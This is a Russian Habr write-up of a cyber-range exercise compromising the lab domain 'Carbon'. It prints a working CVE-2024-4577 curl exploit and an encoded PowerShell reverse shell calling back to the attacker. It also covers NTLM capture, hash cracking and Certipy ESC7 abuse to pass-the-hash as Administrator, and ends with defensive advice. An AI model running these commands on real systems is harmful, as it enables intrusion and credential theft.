Привет, Хабр!

Меня зовут Евгений Кабаргин (aka kiberjen). Я капитан KiberS, команды энтузиастов и профессионалов в области кибербезопасности. Любим наступательные техники и постоянно развиваемся в этом направлении, специализируемся на веб-пентесте, тестировании инфраструктуры и Red Team. 

В этой статье я разберу, как в рамках задания на платформе Standoff 365 был скомпрометирован контроллер домена компании Carbon.

По легенде, инцидент обнаружила служба информационной безопасности во время планового аудита: специалисты выявили подозрительную активность в сети. Выяснилось, что нарушители получили доступ к контроллеру домена Carbon. Компания вернула контроль над инфраструктурой и сосредоточилась на устранении последствий, но информация об атаке уже просочилась в сеть. Клиенты Carbon в шоке...

Что за компания

Carbon — ИТ-компания во вселенной Государства F, которая обеспечивает ИТ-инфраструктуру организаций Государства F на основе собственных высокотехнологичных решений. Специалисты компании на связи с клиентами 24/7, 365 дней в году.
Хост: carbon.standalone.stf (10.124.249.4).

Этот кейс представляет учебный интерес с точки зрения того, что была проведена многоуровневая атака: точка входа через уязвимость CVE-2024-4577 в PHP CGI, последовательная эскалация привилегий и финальная компрометация домена через некорректно настроенную инфраструктуру сертификатов (AD CS, ESC7).

Материал будет полезен специалистам по наступательной безопасности и участникам CTF-соревнований. В нем показана реальная цепочка атаки (от разведки до получения административного доступа к домену), а также приведены рекомендации для защиты.

Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Наша цель — рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, и дать рекомендации по защите. Авторы не несут ответственности за использование кем-то информации из статьи.

⛓️ Cyber kill chain

Компрометация складывается из нескольких слабых мест на разных уровнях инфраструктуры.

Снаружи все начинается с небрежно опубликованного XAMPP. Дальше цепочка ведет к получению интерактивного доступа, затем учетных данных, потом к разведке внутри домена, а в итоге упирается в доверенную PKI-среду, которая и становится главным трамплином для установки полного контроля.

Reconnaissance (Разведка)

На этапе разведки узел сразу выделяется из-за набора ролей. Перед нами не просто Windows-сервер, а узел доменной инфраструктуры с Kerberos, LDAP, SMB, WinRM и RDP. При этом на порте TCP 8888 наружу открыт XAMPP — это мгновенно сужает круг гипотез и делает веб-компонент приоритетной точкой входа.

Weaponization (Подготовка полезной нагрузки)

Дальше подготавливается полезная нагрузка, которая использует особенности обработки аргументов в PHP CGI. Цель не в эксплойте ради эксплойта, а в том, чтобы превратить легитимный PHP-скрипт в точку выполнения произвольного кода за счет подмены runtime-параметров.

Delivery (Доставка)

Подготовленный POST-запрос отправляется прямо в уязвимый веб-компонент. На этом этапе еще нет полноценного контроля над системой, но уже появляется возможность заставить сервер выполнить содержимое из тела запроса.

Exploitation (Эксплуатация)

Как только инъекция CGI-аргументов отрабатывает, сервер выполняет внедренный PHP-код. Это и есть ключевой переломный момент: внешняя поверхность атаки превращается в реальное удаленное выполнение команд на целевом узле.

Installation, foothold (Закрепление)

Убедившись, что выполнение команд действительно возможно, атакующий закрепляется через более удобный интерактивный доступ. Разовый запуск команды перестает быть ограничением — появляется полноценная рабочая сессия, достаточная для исследования системы и перехода к следующим этапам.

Command and control (Управление и контроль)

Интерактивный доступ позволяет управлять узлом уже не точечно, а последовательно: исследовать файловую систему, вызывать сетевую активность, инициировать аутентификационные события и собирать артефакты, которые дальше раскручивают всю цепочку.

Actions on objectives (Действия по достижению целей)

На этой стадии компрометация перестает быть локальной. В ход идут найденные учетные данные, разведка внутри домена, анализ AD CS и злоупотребление доверенной инфраструктурой сертификатов. Финал закономерен: высокий привилегированный контекст и получение целевых флагов.

? MITRE ATT&CK

Если смотреть на Carbon сквозь призму MITRE ATT&CK, то это не история про одну технику, а про хорошо сцепленную последовательность тактик. Сначала используется внешний вектор доступа, затем на узле запускается код, после чего атака смещается в сторону учетных данных, внутреннего исследования доменной среды и повышения привилегий через слабую конфигурацию доверенных сервисов.

Тактика

Как это выглядит в кейсе Carbon

Первоначальный доступ (Initial Access)

Внешне доступный веб-компонент становится первой точкой входа в инфраструктуру

Выполнение (Execution)

На целевом Windows-узле достигается выполнение кода через уязвимый PHP CGI

Доступ к учетным данныс (Credential Access)

После закрепления атакующий получает и разбирает учетные данные и аутентификационные артефакты

Разведка (Discovery)

Начинается исследование сервисов узла, структуры домена и конфигурации инфраструктуры сертификатов

Боковое перемещение (Lateral Movement)

Переход от локального доступа к доменной учетной записи расширяет радиус контроля

Повышение привилегий (Privilege Escalation)

Более высокий контекст достигается за счет слабой конфигурации AD CS

Обход защиты (Defense Evasion)

Критически опасные действия выполняются через доверенные административные механизмы и легитимные сервисы среды

Управление и контроль  (Command and Control)

Интерактивная сессия позволяет последовательно управлять системой и развивать атаку

Воздействие, достижение целей (Impact, Objective Completion)

Финальная цель достигается после получения прав администратора и сдачи флагов

На первом этапе задача сводится к тому, чтобы понять роль узла в инфраструктуре и выделить наиболее перспективную точку входа. По результатам сканирования с помощью nmap видно, что перед нами не просто Windows-сервер, а узел, тесно связанный с доменной средой. Здесь есть Kerberos, LDAP, SMB, RDP и WinRM. Одновременно с этим на порте TCP 8888 наружу открыт веб-сервис — он и будет проверяться в первую очередь.

PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey: 
|   3072 92:ea:2c:d8:58:a4:9a:d0:ce:cc:b6:38:64:fd:7b:81 (RSA)
|   256 8c:ac:63:b9:69:e8:c9:cb:12:3f:f2:b7:7e:a0:55:b4 (ECDSA)
|_  256 90:d3:44:07:68:96:9c:44:92:26:9b:52:d1:fe:fd:89 (ED25519)
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-02-16 22:51:21Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: standoff.stf, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=carbon.standoff.stf
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:carbon.standoff.stf
| Issuer: commonName=standoff-CARBON-CA-2
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-02-02T11:02:54
| Not valid after:  2027-02-02T11:02:54
| MD5:     db97 bad9 c379 0d35 9350 69da ad16 50c2
| SHA-1:   23e2 d6ff 0e57 a158 b31c 8d07 ca48 95d4 7c33 1960
|_SHA-256: eec0 e447 713f 0230 be03 94ed 4fc2 60f5 e09f f3ad 2ad1 7eea 4792 3b2e e22e e0de
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: standoff.stf, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=carbon.standoff.stf
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:carbon.standoff.stf
| Issuer: commonName=standoff-CARBON-CA-2
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-02-02T11:02:54
| Not valid after:  2027-02-02T11:02:54
| MD5:     db97 bad9 c379 0d35 9350 69da ad16 50c2
| SHA-1:   23e2 d6ff 0e57 a158 b31c 8d07 ca48 95d4 7c33 1960
|_SHA-256: eec0 e447 713f 0230 be03 94ed 4fc2 60f5 e09f f3ad 2ad1 7eea 4792 3b2e e22e e0de
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: standoff.stf, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=carbon.standoff.stf
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:carbon.standoff.stf
| Issuer: commonName=standoff-CARBON-CA-2
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-02-02T11:02:54
| Not valid after:  2027-02-02T11:02:54
| MD5:     db97 bad9 c379 0d35 9350 69da ad16 50c2
| SHA-1:   23e2 d6ff 0e57 a158 b31c 8d07 ca48 95d4 7c33 1960
|_SHA-256: eec0 e447 713f 0230 be03 94ed 4fc2 60f5 e09f f3ad 2ad1 7eea 4792 3b2e e22e e0de
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: standoff.stf, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=carbon.standoff.stf
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:carbon.standoff.stf
| Issuer: commonName=standoff-CARBON-CA-2
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-02-02T11:02:54
| Not valid after:  2027-02-02T11:02:54
| MD5:     db97 bad9 c379 0d35 9350 69da ad16 50c2
| SHA-1:   23e2 d6ff 0e57 a158 b31c 8d07 ca48 95d4 7c33 1960
|_SHA-256: eec0 e447 713f 0230 be03 94ed 4fc2 60f5 e09f f3ad 2ad1 7eea 4792 3b2e e22e e0de
|_ssl-date: TLS randomness does not represent time
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=carbon.standoff.stf
| Issuer: commonName=carbon.standoff.stf
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-02-01T06:59:04
| Not valid after:  2026-08-03T06:59:04
| MD5:     fbeb 74bf 8916 8efd 4b8b ffad a865 86ec
| SHA-1:   aac9 e9f3 4ce0 aad3 cfe9 84cf b2ac 9314 2b47 79ab
|_SHA-256: 7399 9e8d 4666 c9a0 87f6 78de 19d9 9b81 7f7f 876e 1c8c ba0c 1723 ffdd 7fa7 3330
| rdp-ntlm-info: 
|   Target_Name: STANDOFF
|   NetBIOS_Domain_Name: STANDOFF
|   NetBIOS_Computer_Name: CARBON
|   DNS_Domain_Name: standoff.stf
|   DNS_Computer_Name: carbon.standoff.stf
|   DNS_Tree_Name: standoff.stf
|   Product_Version: 10.0.20348
|_  System_Time: 2026-02-16T22:52:12+00:00
|_ssl-date: 2026-02-16T22:52:20+00:00; -2s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8888/tcp open  http          Apache httpd 2.4.58 ((Win64) OpenSSL/3.1.3)
|_http-favicon: Unknown favicon MD5: 6EB4A43CB64C97F76562AF703893C8FD
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-title: Welcome to XAMPP
|_Requested resource was <http://carbon.standalone.stf:8888/dashboard/>

Входная точка: XAMPP и CVE-2024-4577

Сервис на порте TCP 8888 сразу выделяется на фоне остальной поверхности атаки. На узле, тесно связанном с доменной инфраструктурой, опубликован XAMPP со стеком PHP CGI, что делает CVE-2024-4577 наиболее вероятным кандидатом на роль входного вектора. Именно сочетание внешне доступного XAMPP и уязвимого CGI-механизма превращает веб-компонент в точку удаленного выполнения кода.

CVE-2024-4577 — уязвимость, связанная с внедрением аргументов в PHP CGI на Windows. Эксплуатируя её, злоумышленник может передать дополнительные параметры интерпретатору PHP через URL, обходя механизмы защиты. В сочетании с параметром auto_prepend_file=php://input это превращается в полноценную RCE-уязвимость.

Proof of concept: проверка выполнения команды

curl -s -k -X POST \\
  -H "Host: carbon.standalone.stf:8888" \\
  -H "Content-Type: application/x-www-form-urlencoded" \\
  --data-binary "<?php system('type C:\\\\rce.flag 2>&1');?>" \\
  "<http://carbon.standalone.stf:8888/dashboard/phpinfo.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input>"

Успешный ответ подтверждает выполнение произвольного кода от имени процесса Apache.

Получаем баллы за уязвимость
Получаем баллы за уязвимость

Получение reverse shell

После того как подтвердилась возможность выполнять команды, необходимо перейти к интерактивному доступу. Для этого отправляем PowerShell payload через тот же вектор:

curl -s -k -X POST \\
  -H "Host: carbon.standalone.stf:8888" \\
  -H "Content-Type: application/x-www-form-urlencoded" \\
  --data-binary "<?php system('powershell -NoP -NonI -W Hidden -Exec Bypass -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAyADcALgAyADQANgAuADEAOAAyACIALAAxADMAMwA3ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA== 2>&1');?>" \\
  "<http://carbon.standalone.stf:8888/dashboard/phpinfo.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input>"

Payload устанавливает TCP-соединение с сервером атакующего. Дальше полноценная PowerShell-сессия на целевом узле.

Инициирование outbound-аутентификации и сбор учетных данных

Оболочка есть, следующий шаг получение учетных данные для перемещения в домен. Используется связка инструментов: провокация NTLM-аутентификации и перехват хеша.

Сбор учетных данных

После получения интерактивного доступа задача меняется: теперь уже важно не только выполнять команды на узле, но и находить материалы, которые помогут расширить радиус компрометации. На этом этапе в ход идут сетевые аутентификационные артефакты и локально доступные секреты.

На машине атакующего:

sudo responder -I tun0

На захваченном узле инициируется обращение к пути атакующего, что вызывает NTLM-аутентификацию. Responder перехватывает NTLMv2-хеш пользователя httpd.

Взлом хеша:

john --w='/usr/share/wordlists/rockyou.txt' hash

Результат:

httpd : RMysterio1

Проверка учетных данных в домене:

nxc smb 10.124.249.4 -u users -p 'RMysterio1’

Получение интерактивного SSH-доступа

После подтверждения валидности учетных данных переходим к стабильной интерактивной сессии:

ssh marat.kiselev@10.124.249.4

Доступ по SSH стабильнее, чем reverse shell, и упрощает последующие операции на узле.

Поиск артефактов и извлечение PSCredential

В пользовательской папке обнаруживается файл creds_for_scripts.xml в формате PowerShell CLIXML. Это зашифрованный через Windows DPAPI объект PSCredential. Поскольку расшифровка DPAPI привязана к контексту пользователя, выполняем ее прямо на атакуемом сервере.

<Objs Version="1.1.0.1" xmlns="<http://schemas.microsoft.com/powershell/2004/04>">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">emma.shutova@standoff.stf</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000fd44c554a2d9fb4e8bcea694b5d37c8c0000000002000000000003660000c000000010000000acba5344f69597c849ec2ebd18d798850000000004800000a0000000100000009012e98870c4258b95cbfd7eb33e57893000000078f99006e86c8cb47cc2ff896457e6ddbdc5301705754a4edcb59c11c1e97609ee0f1214268579bf3d26f9bc157d53a5140000004163fe59cacc857e14bdd755d46a715f272d3485</SS>
    </Props>
  </Obj>
</Objs>

Расшифровку выполнили в пользовательском контексте на целевом хосте:

$Credential = Import-Clixml -Path "creds_for_scripts.xml"
[PSCustomObject]@{
    UserName = $credential.GetNetworkCredential().username
    Password = $credential.GetNetworkCredential().password
}

Результат:

emma.shutova@standoff.stf : 89-news-MOSCOW-wire-13

Разведка в домене и обнаружение AD CS

С учетными данными пользователя emma.shutova запускаем полный сбор данных о домене:

bloodhound-ce-python -u emma.shutova -p '89-news-MOSCOW-wire-13' -ns 10.124.249.4 -d standoff.stf -c all --zip

Обнаружение центров сертификации:

nxc ldap 10.124.249.4 -u emma.shutova -p '89-news-MOSCOW-wire-13' -M adcs

Поиск уязвимых шаблонов сертификатов:

certipy-ad find -u emma.shutova -p '89-news-MOSCOW-wire-13' -target 10.124.249.4 -text -stdout -vulnerable

Certipy выявляет уязвимость ESC7: у учетной записи emma.shutova есть права ManageCA в центре сертификации standoff-CARBON-CA-2. Это позволяет злоупотребить механизмом выдачи сертификатов.

Эксплуатация AD CS (ESC7)

ESC7 — мисконфигурация Active Directory Certificate Services, при которой обычный доменный пользователь имеет права ManageCA или ManageCertificates в центре сертификации. Атакующий может назначить себя офицером CA, включить уязвимый шаблон SubCA и от его имени выпустить сертификат на любого пользователя домена, включая Administrator. Полученный сертификат используется для PKINIT-аутентификации и извлечения NT-хеша целевой учетной записи — без каких-либо изменений в AD и без стандартных признаков компрометации учетных данных.

ESC7 эксплуатируется в четыре шага:

Шаг 1. Назначаем emma.shutova роль офицера CA:

certipy-ad ca -ca 'standoff-CARBON-CA-2' -u emma.shutova -p '89-news-MOSCOW-wire-13' -add-officer emma.shutova -dc-ip 10.124.249.4

Шаг 2. Включаем шаблон SubCA:

certipy-ad ca -ca 'standoff-CARBON-CA-2' -u emma.shutova -p '89-news-MOSCOW-wire-13' -enable-template 'SubCA' -dc-ip 10.124.249.4

Шаг 3. Запрашиваем сертификат от имени Administrator:

certipy-ad req -ca 'standoff-CARBON-CA-2' -u emma.shutova -p '89-news-MOSCOW-wire-13' -template SubCA -dc-ip 10.124.249.4 -upn Administrator

Шаг 4. Утверждаем запрос и получаем сертификат:

certipy-ad ca -ca 'standoff-CARBON-CA-2' -u emma.shutova -p '89-news-MOSCOW-wire-13' -issue-request 61 -dc-ip 10.124.249.4

Получение хеша администратора и финального доступа

Используем полученный сертификат для аутентификации через PKINIT:

certipy-ad auth -pfx administrator.pfx -domain standoff.stf -dc-ip 10.124.249.4

Certipy извлекает NT-хеш учетной записи Administrator. Используем его для получения shell:

python3 psexecsvc.py -hashes :2025795511c87497c788b762fe6321ac Administrator@10.124.249.4

Получен системный доступ. Флаги LPE и критического события захвачены.

Получение флага критического события

?️ Рекомендации по защите

Каждый этап описанной выше атаки на компанию Carbon соответствует конкретной ошибке в конфигурации. Ниже — адресные меры для устранения каждой из них.

1. Уязвимый PHP CGI (CVE-2024-4577)

Обновить PHP до версии 8.1.29, 8.2.20, 8.3.8 и выше — уязвимость устранена в этих релизах. Отказаться от режима CGI в пользу PHP-FPM или mod_php. Не публиковать отладочные стенды (XAMPP) на продуктивных серверах, особенно на контроллерах домена. Ограничить доступ к веб-сервису на сетевом уровне через файрвол и сегментацию.

2. Перехват NTLM (Responder)

Отключить LLMNR и NetBIOS-NS в групповой политике. Включить SMB-подписи (SMB signing) для предотвращения relay-атак. Использовать Extended Protection for Authentication (EPA). Рассмотреть переход на Kerberos-only-аутентификацию там, где это возможно.

3. Хранение учетных данных в файлах

Не хранить учетные данные в CLIXML-файлах или иных форматах на диске. Использовать secret-management-решения: HashiCorp Vault, Azure Key Vault, Windows Credential Manager с надлежащим ACL. Проводить регулярный аудит файловой системы на наличие артефактов с учетными данными (*.xml, .cred, .config).

4. Некорректная конфигурация AD CS (ESC7)

Регулярно проверять конфигурацию AD CS инструментами Certipy или PSPKIAudit. Ограничить права ManageCA и ManageCertificates, выдав их только администраторам. Не оставлять включенными шаблоны субординированного CA (SubCA) без явной необходимости. Настроить оповещения о событиях в центре сертификации (добавление офицеров, включение шаблонов, ручное подтверждение запросов).

5. Общие меры

Применять принцип наименьших привилегий: сервисные учетные записи не должны иметь избыточные права в домене. Внедрить мониторинг на основе матрицы MITRE ATT&CK: аномальные Kerberos-запросы, запросы сертификатов от нестандартных учетных записей, PowerShell с EncodedCommand. Контроллеры домена не должны быть точкой входа для веб-сервисов — изолируйте их роли.

Вывод

Случай со взломом компании Carbon на киберполигоне — демонстрация классической многоуровневой атаки, в которой ни одна из уязвимостей по отдельности не выглядит критически опасной, но их комбинация ведет к полной компрометации домена. Веб-разработчик, оставивший XAMPP с устаревшим PHP, администратор, создавший файл с паролем, и инженер PKI, не проверивший права в CA, — все трое внесли свой вклад в итоговый результат.

Для защитника главный урок: поверхность атаки нужно рассматривать целостно, а не только в разрезе отдельных CVE-уязвимостей.

Комментарии (0)